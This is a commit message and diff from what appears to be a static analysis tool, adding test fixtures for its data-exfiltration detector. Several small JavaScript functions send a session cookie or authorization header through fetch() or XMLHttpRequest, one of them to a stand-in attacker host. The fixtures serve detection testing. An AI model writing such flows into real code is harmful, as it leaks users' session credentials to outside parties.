Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59)

* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers

* feat: Implement cross-file data exfiltration detection with parameter-specific gate filters

* feat: Add calibration tests and refine DATA_EXFIL severity scoring logic

* feat: Introduce per-detector configuration for data exfiltration suppression

* feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output

* feat: Add tainted body and URL handling for data exfiltration detection

* feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go

* feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients

* feat: Add synthetic externals handling for closure-captured variables in SSA

* feat: Implement closure-based suppression for resource leak findings

* feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns

* feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders

* feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt

* feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests

* feat: Add data exfiltration sinks for various languages and enhance documentation

* refactor: Simplify formatting and improve readability in various files

* refactor: Improve readability by simplifying conditional statements and adding clippy linting

* docs: Update CHANGELOG and comments for data exfiltration features and configuration

* docs: Clarify configuration instructions for data exfiltration trusted destinations

* docs: Enhance comments for evidence routing logic in data exfiltration

tests/benchmark/corpus/javascript/data_exfil/exfil_fetch_cookie_body.js

@@ -0,0 +1,10 @@
+// DATA_EXFIL: a session cookie (Sensitive-tier source) flows into the
+// outbound body of fetch() at a fixed destination. SSRF must NOT fire
+// because the URL is a hardcoded literal.
+function leakBody(req) {
+    var payload = req.cookies.session;
+    fetch('/endpoint', {
+        method: 'POST',
+        body: payload,
+    });
+}

tests/benchmark/corpus/javascript/data_exfil/exfil_fetch_external_destination.js

@@ -0,0 +1,10 @@
+// DATA_EXFIL: a session cookie (Sensitive-tier source) flows into the
+// outbound body of fetch() at an attacker-controlled host. SSRF stays
+// silent (URL is a static literal); DATA_EXFIL fires.
+function leakBodyExternal(req) {
+    var payload = req.cookies.session;
+    fetch('https://untrusted.example.com/intake', {
+        method: 'POST',
+        body: payload,
+    });
+}

tests/benchmark/corpus/javascript/data_exfil/exfil_xhr_send_header.js

@@ -0,0 +1,9 @@
+// DATA_EXFIL: a request header (Sensitive-tier source) flows into the
+// body of XMLHttpRequest.send(). The destination is a static literal, so
+// SSRF must not fire.
+function leakHeader(req) {
+    var auth = req.headers.authorization;
+    var xhr = new XMLHttpRequest();
+    xhr.open('POST', '/upstream');
+    xhr.send(auth);
+}

tests/benchmark/corpus/javascript/safe/safe_data_exfil_sanitizer_wrap.js

@@ -0,0 +1,8 @@
+// DATA_EXFIL safe: routing a Sensitive cookie source through the named
+// telemetry boundary `logEvent` is the developer's explicit decision to
+// forward; the default Sanitizer(data_exfil) convention strips the cap.
+function track(req) {
+    logEvent({
+        user: req.cookies.session,
+    });
+}

tests/benchmark/corpus/javascript/safe/safe_data_exfil_user_input_echo.js

@@ -0,0 +1,10 @@
+// DATA_EXFIL safe: plain user input echoed into a fetch() body must not
+// fire. The user already controls req.body.message; surfacing it back
+// into the outbound payload is not a cross-boundary disclosure.
+function forwardUserMessage(req) {
+    var message = req.body.message;
+    fetch('/forward', {
+        method: 'POST',
+        body: message,
+    });
+}